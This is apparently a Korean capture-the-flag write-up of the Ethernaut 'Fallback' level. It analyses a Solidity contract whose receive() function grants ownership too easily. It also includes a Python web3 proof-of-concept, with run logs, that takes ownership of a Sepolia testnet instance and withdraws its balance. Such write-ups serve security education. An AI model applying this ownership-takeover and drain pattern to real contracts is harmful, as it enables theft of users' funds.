Fallback
문제 설명
문제 목표
문제의 목표는 아래와 같다. 컨트랙트의 소유권을 가져오고 컨트랙트의 잔고를 0으로 만들어라
You will beat this level if
1. you claim ownership of the contract
2. you reduce its balance to 0
문제 코드
문제 코드는 다음과 같다. 코드를 봤을 때 owner가 될 수 있는 방법은 두가지이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
방법 구상?
첫번째 방법
- 컨트랙트가 생성될 때 owner의 기여도는 1000 * (1 ether)다.
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
- 이 함수는 0.001이더 보다 적게 보냈을 경우 기여도를 올려주고, 기여도가 컨트랙트 소유자보다 많다면 소유권을 넘겨주고 있다.
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
하지만 현재 소유자(owner)의 기여도가 1000 이더로 설정되어 있으므로, 이보다 이를 실현하기 위해서는 현실적인 이더리움 메인넷이나 테스트넷에서 1000이더보다 많은 이더를 가지고 있어야 한다. 그리고 한 번 보낼때 0.001 ETH 이하로 보내야 하기 때문에 비현실적인 방법이다.
두번째 방법
- receive() 함수는 컨트랙트가 이더를 받았을 경우 자동으로 호출되는 함수이다. 이 코드에서는 이더를 받았을 경우 0보다 크고 기여도가 0보다 크면 컨트랙트의 소유권을 넘겨주고 있다.
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
따라서 recieve 함수를 이용하면 소량의 이더와 약간의 기여도만 올릴 수 있다면 이 컨트랙트의 소유권을 가져올 수 있다.
최종 단계 구성
- contribute 함수를 통해 기여도를 0보다 크도록 만든다.
- receive() 함수를 호출하기 위해 컨트랙트의 주소로 소량의 이더를 보낸다.
PoC
환경 설정
pip install web3
변수 및 함수 선언
#!/usr/bin/env python3
import json
from web3 import Web3
# ABI 파일 불러오기
with open('contract_abi.json', 'r') as abi_file:
ABI = json.load(abi_file)
# 계정 및 프라이빗 키 설정
my_account = "YOUR_ACCOUNT_ADDRESS"
private_key = "YOUR_PRIVATE_KEY"
# Infura 엔드포인트 설정
entry_url = "https://sepolia.infura.io/v3/YOUR_API_KEY"
# 스마트 컨트랙트 주소 설정
contract_address = "CONTRACT_ADDRESS"
# Web3 인스턴스 생성
web3 = Web3(Web3.HTTPProvider(entry_url))
# 이더리움 네트워크에 연결 확인
if web3.is_connected():
print("Connected to Sepolia testnet")
else:
raise Exception("Connection failed")
# 스마트 컨트랙트 인스턴스 생성
contract = web3.eth.contract(address=contract_address, abi=ABI)
print("Contract Instance Address: " + contract_address)
# 현재 상태 출력 함수
def print_status():
owner = contract.functions.owner().call()
contract_balance = web3.eth.get_balance(contract_address)
contribution = contract.functions.getContribution().call()
print("Contract Owner: " + owner)
print("Contract Balance: " + str(web3.from_wei(contract_balance, 'ether')) + " ETH")
print("My Contribution: " + str(web3.from_wei(contribution, 'ether')) + " ETH")
# 현재 상태 출력
print_status()
# 트랜잭션 전송 함수
def send_transaction(transaction):
# 트랜잭션 서명
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
# 서명된 트랜잭션 전송
tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)
try:
# 트랜잭션이 블록에 포함될 때까지 대기
receipt = web3.eth.wait_for_transaction_receipt(tx_hash, timeout=300)
print(f"Transaction confirmed in block: {receipt.blockNumber}")
except web3.exceptions.TimeExhausted:
raise Exception("Transaction timed out")
return tx_hash
(venv) sysoper@DESKTOP-33E8:~/Ethernaut$ python3 solve.py
Connected to Sepolia testnet
Contract Instance Address: 0xE43FeA2b1B9A41992880B7e300cC3459e297A3B3
Current Owner: 0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB
Contract Balance: 0.0002 ETH
My Contribution: 0
Contritute > 0
# Step 1: contribute 함수 호출로 작은 금액을 보내 contributions[msg.sender] > 0 조건 충족
nonce = web3.eth.get_transaction_count(my_account)
transaction = contract.functions.contribute().build_transaction({
'from': my_account,
'value': web3.to_wei(0.0001, 'ether'), # 0.0001 이더를 보냅니다.
'gas': 300000, # 가스 한도 설정
'gasPrice': web3.to_wei('200', 'gwei'), # 가스 가격 설정
'nonce': nonce, # 현재 nonce 값 설정
})
print("################### Contribute() ####################")
# 트랜잭션 전송 및 상태 출력
send_transaction(transaction)
print_status()
# Step 2: 컨트랙트 주소로 직접 이더 전송하여 receive 함수 호출
nonce = web3.eth.get_transaction_count(my_account)
transaction = {
'from': my_account,
'to': contract_address,
'value': web3.to_wei(0.0001, 'ether'),
'gas': 300000,
'gasPrice': web3.to_wei('200', 'gwei'),
'nonce': nonce,
}
################### Contribute() ####################
Transaction confirmed in block: 6099728
Current Owner: 0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB
Contract Balance: 0.0003 ETH
My Contribution: 0
Owner가 되기
# Step 2: 컨트랙트 주소로 직접 이더 전송하여 receive 함수 호출
nonce = web3.eth.get_transaction_count(my_account)
transaction = {
'from': my_account,
'to': contract_address,
'value': web3.to_wei(0.0001, 'ether'),
'gas': 300000,
'gasPrice': web3.to_wei('200', 'gwei'),
'nonce': nonce,
}
print("################### Receive() ####################")
send_transaction(transaction)
print_status()
# withdraw 함수 호출은 소유자임을 확인하고 실행
owner = contract.functions.owner().call()
if my_account.lower() == owner.lower():
nonce = web3.eth.get_transaction_count(my_account)
transaction = contract.functions.withdraw().build_transaction({
'from': my_account,
'gas': 300000,
'gasPrice': web3.to_wei('200', 'gwei'),
'nonce': nonce,
})
print("################### Withdraw() ####################")
send_transaction(transaction)
print_status()
else:
print(f"My account {my_account} is not the owner {owner}")
################### Withdraw() ####################
Transaction confirmed in block: 6099730
Current Owner: 0xcd578e151Af2a9d3864dB26f03CcbFd392Beb7B6
Contract Balance: 0 ETH
My Contribution: 0
참고
https://ethernaut.openzeppelin.com/level/0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB